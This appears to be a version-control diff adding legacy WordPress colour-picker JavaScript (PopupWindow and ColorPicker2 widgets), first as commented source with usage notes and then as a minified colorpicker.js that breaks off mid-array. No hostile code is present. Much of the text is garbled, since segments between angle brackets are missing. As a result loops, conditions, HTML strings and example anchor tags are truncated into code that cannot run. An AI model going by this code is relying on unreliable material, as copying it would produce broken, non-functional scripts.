y=AnchorPosition_getPageOffsetTop(document.all[anchorname]); + } + else if (use_layers) { + var found=0; + for (var i=0; i tags may cause errors. + +USAGE: +// Create an object for a WINDOW popup +var win = new PopupWindow(); + +// Create an object for a DIV window using the DIV named 'mydiv' +var win = new PopupWindow('mydiv'); + +// Set the window to automatically hide itself when the user clicks +// anywhere else on the page except the popup +win.autoHide(); + +// Show the window relative to the anchor name passed in +win.showPopup(anchorname); + +// Hide the popup +win.hidePopup(); + +// Set the size of the popup window (only applies to WINDOW popups +win.setSize(width,height); + +// Populate the contents of the popup window that will be shown. If you +// change the contents while it is displayed, you will need to refresh() +win.populate(string); + +// set the URL of the window, rather than populating its contents +// manually +win.setUrl("http://www.site.com/"); + +// Refresh the contents of the popup +win.refresh(); + +// Specify how many pixels to the right of the anchor the popup will appear +win.offsetX = 50; + +// Specify how many pixels below the anchor the popup will appear +win.offsetY = 100; + +NOTES: +1) Requires the functions in AnchorPosition.js + +2) Your anchor tag MUST contain both NAME and ID attributes which are the + same. For example: + + +3) There must be at least a space between for IE5.5 to see the + anchor tag correctly. Do not do with no space. + +4) When a PopupWindow object is created, a handler for 'onmouseup' is + attached to any event handler you may have already defined. Do NOT define + an event handler for 'onmouseup' after you define a PopupWindow object or + the autoHide() will not work correctly. +*/ + +// Set the position of the popup window based on the anchor +function PopupWindow_getXYPosition(anchorname) { + var coordinates; + if (this.type == "WINDOW") { + coordinates = getAnchorWindowPosition(anchorname); + } + else { + coordinates = getAnchorPosition(anchorname); + } + this.x = coordinates.x; + this.y = coordinates.y; + } +// Set width/height of DIV/popup window +function PopupWindow_setSize(width,height) { + this.width = width; + this.height = height; + } +// Fill the window with contents +function PopupWindow_populate(contents) { + this.contents = contents; + this.populated = false; + } +// Set the URL to go to +function PopupWindow_setUrl(url) { + this.url = url; + } +// Set the window popup properties +function PopupWindow_setWindowProperties(props) { + this.windowProperties = props; + } +// Refresh the displayed contents of the popup +function PopupWindow_refresh() { + if (this.divName != null) { + // refresh the DIV object + if (this.use_gebi) { + document.getElementById(this.divName).innerHTML = this.contents; + } + else if (this.use_css) { + document.all[this.divName].innerHTML = this.contents; + } + else if (this.use_layers) { + var d = document.layers[this.divName]; + d.document.open(); + d.document.writeln(this.contents); + d.document.close(); + } + } + else { + if (this.popupWindow != null && !this.popupWindow.closed) { + if (this.url!="") { + this.popupWindow.location.href=this.url; + } + else { + this.popupWindow.document.open(); + this.popupWindow.document.writeln(this.contents); + this.popupWindow.document.close(); + } + this.popupWindow.focus(); + } + } + } +// Position and show the popup, relative to an anchor object +function PopupWindow_showPopup(anchorname) { + this.getXYPosition(anchorname); + this.x += this.offsetX; + this.y += this.offsetY; + if (!this.populated && (this.contents != "")) { + this.populated = true; + this.refresh(); + } + if (this.divName != null) { + // Show the DIV object + if (this.use_gebi) { + document.getElementById(this.divName).style.left = this.x + "px"; + document.getElementById(this.divName).style.top = this.y; + document.getElementById(this.divName).style.visibility = "visible"; + } + else if (this.use_css) { + document.all[this.divName].style.left = this.x; + document.all[this.divName].style.top = this.y; + document.all[this.divName].style.visibility = "visible"; + } + else if (this.use_layers) { + document.layers[this.divName].left = this.x; + document.layers[this.divName].top = this.y; + document.layers[this.divName].visibility = "visible"; + } + } + else { + if (this.popupWindow == null || this.popupWindow.closed) { + // If the popup window will go off-screen, move it so it doesn't + if (this.x<0) { this.x=0; } + if (this.y<0) { this.y=0; } + if (screen && screen.availHeight) { + if ((this.y + this.height) > screen.availHeight) { + this.y = screen.availHeight - this.height; + } + } + if (screen && screen.availWidth) { + if ((this.x + this.width) > screen.availWidth) { + this.x = screen.availWidth - this.width; + } + } + var avoidAboutBlank = window.opera || ( document.layers && !navigator.mimeTypes['*'] ) || navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled ); + this.popupWindow = window.open(avoidAboutBlank?"":"about:blank","window_"+anchorname,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+""); + } + this.refresh(); + } + } +// Hide the popup +function PopupWindow_hidePopup() { + if (this.divName != null) { + if (this.use_gebi) { + document.getElementById(this.divName).style.visibility = "hidden"; + } + else if (this.use_css) { + document.all[this.divName].style.visibility = "hidden"; + } + else if (this.use_layers) { + document.layers[this.divName].visibility = "hidden"; + } + } + else { + if (this.popupWindow && !this.popupWindow.closed) { + this.popupWindow.close(); + this.popupWindow = null; + } + } + } +// Pass an event and return whether or not it was the popup DIV that was clicked +function PopupWindow_isClicked(e) { + if (this.divName != null) { + if (this.use_layers) { + var clickX = e.pageX; + var clickY = e.pageY; + var t = document.layers[this.divName]; + if ((clickX > t.left) && (clickX < t.left+t.clip.width) && (clickY > t.top) && (clickY < t.top+t.clip.height)) { + return true; + } + else { return false; } + } + else if (document.all) { // Need to hard-code this to trap IE for error-handling + var t = window.event.srcElement; + while (t.parentElement != null) { + if (t.id==this.divName) { + return true; + } + t = t.parentElement; + } + return false; + } + else if (this.use_gebi && e) { + var t = e.originalTarget; + while (t.parentNode != null) { + if (t.id==this.divName) { + return true; + } + t = t.parentNode; + } + return false; + } + return false; + } + return false; + } + +// Check an onMouseDown event to see if we should hide +function PopupWindow_hideIfNotClicked(e) { + if (this.autoHideEnabled && !this.isClicked(e)) { + this.hidePopup(); + } + } +// Call this to make the DIV disable automatically when mouse is clicked outside it +function PopupWindow_autoHide() { + this.autoHideEnabled = true; + } +// This global function checks all PopupWindow objects onmouseup to see if they should be hidden +function PopupWindow_hidePopupWindows(e) { + for (var i=0; i0) { + this.type="DIV"; + this.divName = arguments[0]; + } + else { + this.type="WINDOW"; + } + this.use_gebi = false; + this.use_css = false; + this.use_layers = false; + if (document.getElementById) { this.use_gebi = true; } + else if (document.all) { this.use_css = true; } + else if (document.layers) { this.use_layers = true; } + else { this.type = "WINDOW"; } + this.offsetX = 0; + this.offsetY = 0; + // Method mappings + this.getXYPosition = PopupWindow_getXYPosition; + this.populate = PopupWindow_populate; + this.setUrl = PopupWindow_setUrl; + this.setWindowProperties = PopupWindow_setWindowProperties; + this.refresh = PopupWindow_refresh; + this.showPopup = PopupWindow_showPopup; + this.hidePopup = PopupWindow_hidePopup; + this.setSize = PopupWindow_setSize; + this.isClicked = PopupWindow_isClicked; + this.autoHide = PopupWindow_autoHide; + this.hideIfNotClicked = PopupWindow_hideIfNotClicked; + } + +/* SOURCE FILE: ColorPicker2.js */ + +/* +Last modified: 02/24/2003 + +DESCRIPTION: This widget is used to select a color, in hexadecimal #RRGGBB +form. It uses a color "swatch" to display the standard 216-color web-safe +palette. The user can then click on a color to select it. + +COMPATABILITY: See notes in AnchorPosition.js and PopupWindow.js. +Only the latest DHTML-capable browsers will show the color and hex values +at the bottom as your mouse goes over them. + +USAGE: +// Create a new ColorPicker object using DHTML popup +var cp = new ColorPicker(); + +// Create a new ColorPicker object using Window Popup +var cp = new ColorPicker('window'); + +// Add a link in your page to trigger the popup. For example: +Pick + +// Or use the built-in "select" function to do the dirty work for you: +Pick + +// If using DHTML popup, write out the required DIV tag near the bottom +// of your page. + + +// Write the 'pickColor' function that will be called when the user clicks +// a color and do something with the value. This is only required if you +// want to do something other than simply populate a form field, which is +// what the 'select' function will give you. +function pickColor(color) { + field.value = color; + } + +NOTES: +1) Requires the functions in AnchorPosition.js and PopupWindow.js + +2) Your anchor tag MUST contain both NAME and ID attributes which are the + same. For example: + + +3) There must be at least a space between for IE5.5 to see the + anchor tag correctly. Do not do with no space. + +4) When a ColorPicker object is created, a handler for 'onmouseup' is + attached to any event handler you may have already defined. Do NOT define + an event handler for 'onmouseup' after you define a ColorPicker object or + the color picker will not hide itself correctly. +*/ +ColorPicker_targetInput = null; +function ColorPicker_writeDiv() { + document.writeln(""); + } + +function ColorPicker_show(anchorname) { + this.showPopup(anchorname); + } + +function ColorPicker_pickColor(color,obj) { + obj.hidePopup(); + pickColor(color); + } + +// A Default "pickColor" function to accept the color passed back from popup. +// User can over-ride this with their own function. +function pickColor(color) { + if (ColorPicker_targetInput==null) { + alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!"); + return; + } + ColorPicker_targetInput.value = color; + } + +// This function is the easiest way to popup the window, select a color, and +// have the value populate a form field, which is what most people want to do. +function ColorPicker_select(inputobj,linkname) { + if (inputobj.type!="text" && inputobj.type!="hidden" && inputobj.type!="textarea") { + alert("colorpicker.select: Input object passed is not a valid form input object"); + window.ColorPicker_targetInput=null; + return; + } + window.ColorPicker_targetInput = inputobj; + this.show(linkname); + } + +// This function runs when you move your mouse over a color block, if you have a newer browser +function ColorPicker_highlightColor(c) { + var thedoc = (arguments.length>1)?arguments[1]:window.document; + var d = thedoc.getElementById("colorPickerSelectedColor"); + d.style.backgroundColor = c; + d = thedoc.getElementById("colorPickerSelectedColorValue"); + d.innerHTML = c; + } + +function ColorPicker() { + var windowMode = false; + // Create a new PopupWindow object + if (arguments.length==0) { + var divname = "colorPickerDiv"; + } + else if (arguments[0] == "window") { + var divname = ''; + windowMode = true; + } + else { + var divname = arguments[0]; + } + + if (divname != "") { + var cp = new PopupWindow(divname); + } + else { + var cp = new PopupWindow(); + cp.setSize(225,250); + } + + // Object variables + cp.currentValue = "#FFFFFF"; + + // Method Mappings + cp.writeDiv = ColorPicker_writeDiv; + cp.highlightColor = ColorPicker_highlightColor; + cp.show = ColorPicker_show; + cp.select = ColorPicker_select; + + // Code to populate color picker window + var colors = new Array( "#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099", + "#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099", + "#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099", + "#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF", + "#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F", + "#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000", + + "#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399", + "#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399", + "#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399", + "#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF", + "#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F", + "#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00", + + "#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699", + "#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699", + "#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699", + "#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F", + "#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F", + "#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F", + + "#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999", + "#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999", + "#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999", + "#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF", + "#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F", + "#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000", + + "#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99", + "#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99", + "#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99", + "#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF", + "#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F", + "#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00", + + "#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99", + "#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99", + "#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99", + "#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F", + "#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F", + "#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F", + + "#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666", + "#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000", + "#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000", + "#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999", + "#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF", + "#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF", + + "#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66", + "#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00", + "#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000", + "#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099", + "#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF", + "#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF", + + "#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF", + "#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC", + "#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000", + "#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900", + "#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33", + "#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF", + + "#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF", + "#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF", + "#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F", + "#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F", + "#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F", + "#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000"); + var total = colors.length; + var width = 72; + var cp_contents = ""; + var windowRef = (windowMode)?"window.opener.":""; + if (windowMode) { + cp_contents += "Select Color"; + cp_contents += ""; + } + cp_contents += ""; + var use_highlight = (document.getElementById || document.all)?true:false; + for (var i=0; i '; + if ( ((i+1)>=total) || (((i+1) % width) == 0)) { + cp_contents += ""; + } + } + // If the browser supports dynamically changing TD cells, add the fancy stuff + if (document.getElementById) { + var width1 = Math.floor(width/2); + var width2 = width = width1; + cp_contents += ""; + } + cp_contents += "
     #FFFFFF
    "; + if (windowMode) { + cp_contents += "
    "; + } + // end populate code + + // Write the contents to the popup object + cp.populate(cp_contents+"\n"); + // Move the table down a bit so you can see it + cp.offsetY = 25; + cp.autoHide(); + return cp; + } diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/colorpicker.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/colorpicker.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +function getAnchorPosition(b){var e=false;var k=new Object();var j=0,g=0;var d=false,f=false,h=false;if(document.getElementById){d=true}else{if(document.all){f=true}else{if(document.layers){h=true}}}if(d&&document.all){j=AnchorPosition_getPageOffsetLeft(document.all[b]);g=AnchorPosition_getPageOffsetTop(document.all[b])}else{if(d){var a=document.getElementById(b);j=AnchorPosition_getPageOffsetLeft(a);g=AnchorPosition_getPageOffsetTop(a)}else{if(f){j=AnchorPosition_getPageOffsetLeft(document.all[b]);g=AnchorPosition_getPageOffsetTop(document.all[b])}else{if(h){var l=0;for(var c=0;cscreen.availHeight){this.y=screen.availHeight-this.height}}if(screen&&screen.availWidth){if((this.x+this.width)>screen.availWidth){this.x=screen.availWidth-this.width}}var b=window.opera||(document.layers&&!navigator.mimeTypes["*"])||navigator.vendor=="KDE"||(document.childNodes&&!document.all&&!navigator.taintEnabled);this.popupWindow=window.open(b?"":"about:blank","window_"+a,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+"")}this.refresh()}}function PopupWindow_hidePopup(){if(this.divName!=null){if(this.use_gebi){document.getElementById(this.divName).style.visibility="hidden"}else{if(this.use_css){document.all[this.divName].style.visibility="hidden"}else{if(this.use_layers){document.layers[this.divName].visibility="hidden"}}}}else{if(this.popupWindow&&!this.popupWindow.closed){this.popupWindow.close();this.popupWindow=null}}}function PopupWindow_isClicked(c){if(this.divName!=null){if(this.use_layers){var d=c.pageX;var b=c.pageY;var a=document.layers[this.divName];if((d>a.left)&&(da.top)&&(b0){this.type="DIV";this.divName=arguments[0]}else{this.type="WINDOW"}this.use_gebi=false;this.use_css=false;this.use_layers=false;if(document.getElementById){this.use_gebi=true}else{if(document.all){this.use_css=true}else{if(document.layers){this.use_layers=true}else{this.type="WINDOW"}}}this.offsetX=0;this.offsetY=0;this.getXYPosition=PopupWindow_getXYPosition;this.populate=PopupWindow_populate;this.setUrl=PopupWindow_setUrl;this.setWindowProperties=PopupWindow_setWindowProperties;this.refresh=PopupWindow_refresh;this.showPopup=PopupWindow_showPopup;this.hidePopup=PopupWindow_hidePopup;this.setSize=PopupWindow_setSize;this.isClicked=PopupWindow_isClicked;this.autoHide=PopupWindow_autoHide;this.hideIfNotClicked=PopupWindow_hideIfNotClicked}ColorPicker_targetInput=null;function ColorPicker_writeDiv(){document.writeln('')}function ColorPicker_show(a){this.showPopup(a)}function ColorPicker_pickColor(a,b){b.hidePopup();pickColor(a)}function pickColor(a){if(ColorPicker_targetInput==null){alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!");return}ColorPicker_targetInput.value=a}function ColorPicker_select(b,a){if(b.type!="text"&&b.type!="hidden"&&b.type!="textarea"){alert("colorpicker.select: Input object passed is not a valid form input object");window.ColorPicker_targetInput=null;return}window.ColorPicker_targetInput=b;this.show(a)}function ColorPicker_highlightColor(e){var a=(arguments.length>1)?arguments[1]:window.document;var b=a.getElementById("colorPickerSelectedColor");b.style.backgroundColor=e;b=a.getElementById("colorPickerSelectedColorValue");b.innerHTML=e}function ColorPicker(){var g=false;if(arguments.length==0){var e="colorPickerDiv"}else{if(arguments[0]=="window"){var e="";g=true}else{var e=arguments[0]}}if(e!=""){var m=new PopupWindow(e)}else{var m=new PopupWindow();m.setSize(225,250)}m.currentValue="#FFFFFF";m.writeDiv=ColorPicker_writeDiv;m.highlightColor=ColorPicker_highlightColor;m.show=ColorPicker_show;m.select=ColorPicker_select;var a=new Array("#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099","#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099","#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF","#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F","#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000","#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399","#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399","#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF","#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F","#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00","#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699","#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699","#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699","#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F","#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F","#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F","#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999","#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999","#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999","#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF","#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F","#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000","#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99","#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99","#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF","#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F","#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00","#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99","#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99","#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99","#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F","#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F","#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F","#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666","#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000","#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999","#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF","#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF","#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66","#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#0